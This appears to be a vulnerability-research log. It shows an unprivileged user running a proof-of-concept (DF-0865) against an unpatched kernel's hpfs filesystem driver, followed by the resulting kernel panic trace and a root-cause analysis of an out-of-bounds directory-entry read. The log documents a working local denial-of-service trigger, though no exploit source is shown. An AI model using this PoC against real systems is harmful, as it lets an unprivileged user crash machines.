=== DF-0865 BASELINE RUN (unpatched #0 kernel, original hpfs.ko) ===
$ cd poc/DF-0865 && ./poc /mnt/hpfs   (run as unpriv user maxx)
[*] DF-0865: stat(/mnt/hpfs) -> VOP_GETATTR -> hpfs_validateparent dep-walk
[*] crafted dir block dep0 de_reclen=0x0900 -> dep walks 276 B past 2 KB bread buffer
[*] if the kernel panics here, the guest goes down; check boot.log for the panic signature
(SSH HUNG — guest crashed; timeout killed the ssh session)

--- vm.sh status ---
down

--- boot.log panic (full block, lines 220-237) ---
Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address    = 0xfffff80057f97116
fault code               = supervisor read data, page not present
instruction pointer      = 0x8:0xffffffff826032f6
stack pointer            = 0x10:0xfffff801184e35c8
frame pointer            = 0x10:0xfffff801184e3618
code segment             = base 0x0, limit 0xfffff, type 0x1b
                         = DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags         = interrupt enabled, resume, IOPL = 0
current process          = 963
current thread           = pri 6
kernel: type 12 trap, code=0

CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      hpfs_validateparent+0x146:      movzwl  0x2(%r15),%edx
db>

ANALYSIS: stat() -> hpfs_getattr -> hpfs_validateparent walks root's dir block;
dep advances by de_reclen=0x0900 past the 2 KB bread buffer; the post-loop /
next-iteration read of dep->de_flag (movzwl 0x2(%r15)) faults on the unmapped
OOB page. Deterministic crash in DF-0865's exact cited function.